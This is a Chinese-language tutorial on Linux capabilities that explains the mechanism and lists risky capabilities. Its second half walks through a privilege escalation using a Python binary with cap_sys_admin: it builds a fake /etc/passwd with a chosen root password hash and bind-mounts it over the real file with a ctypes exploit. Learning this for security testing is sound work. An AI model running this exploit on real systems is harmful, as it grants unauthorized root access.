什么是Capabilities

Linux的Root用户拥有最高的权限，可以对几乎系统中的任何文件进行操作。然而普通用户如何操作一些高权限的文件？
在Linux中存在两种方法：
第一种是在执行的命令前加上sudo，这样就会以Root的身份进行操作。
第二种方法是设置SUID或SGID，这样虽然会以原用户的身份进行操作，但是获得了操作权限。

SUID和SGID存在安全隐患，因为某文件设置了之后普通用户将会获得广范围的操作权限。
为了避免这种安全隐患，Linux内核 2.2 之后引入了Capabilities机制。

什么是Capabilities机制呢？

原理很简单，就是将之前与超级用户 root（UID=0）关联的特权细分为不同的功能组，Capabilites 作为线程（Linux 并不真正区分进程和线程）的属性存在，每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类，具有相似功能的内核调用被分到同一组中。
这样一来，权限检查的过程就变成了：在执行特权操作时，如果线程的有效身份不是 root，就去检查其是否具有该特权操作所对应的 capabilities，并以此为依据，决定是否可以执行特权操作。

如何设置与移除Capabilities

setcap cap_sys_admin+ep /usr/sbin/python #设置capabilities权限
setcap -r /usr/sbin/python #移除capabilities权限

Capabiliies权限介绍

以下功能特别危险，如果发现系统上启用了这些功能，则应进一步进行检查：

• CAP_CHOWN
• CAP_DAC_OVERRIDE
• CAP_DAC_READ_SEARCH
• CAP_SETUID
• CAP_SETGID
• CAP_NET_RAW
• CAP_SYS_ADMIN
• CAP_SYS_PTRACE
• CAP_SYS_MODULE
• CAP_FORMER
• CAP_SETFCAP

漏洞利用举例

cap_sys_admin

1. 查找存在Capabilities权限的文件

   getcap -r / 2>/dev/null

2. 将passwd文件拷贝到目录下后，生成自定义的密码并将其复制到root密码处

   cp /etc/passwd ./                                     #复制passwd文件到当前目录下
   openssl passwd -1 -salt abc password    #生成自定义密码的hash值
   vim ./passwd                                            #修改当前目录下的passwd文件中的root密码

   
3. 使用基于python的exp

   from ctypes import *
   libc = CDLL("libc.so.6")
   libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
   MS_BIND = 4096
   source = b"/path/to/fake/passwd"
   target = b"/etc/passwd"
   filesystemtype = b"none"
   options = b"rw"
   mountflags = MS_BIND
   libc.mount(source, target, filesystemtype, mountflags, options)

4. 注意要更改exp中的地址
   
5. 执行exp
   注意要填有“cap_sys_admin+ep”权限的Python程序

   /usr/sbin/python exp.py

6. 密码修改成功
   

第二篇文章将介绍利用cap_sys_module权限进行提权的方法。

本篇文章仅作学习参考使用，文中如有纰漏及错误，敬请指正。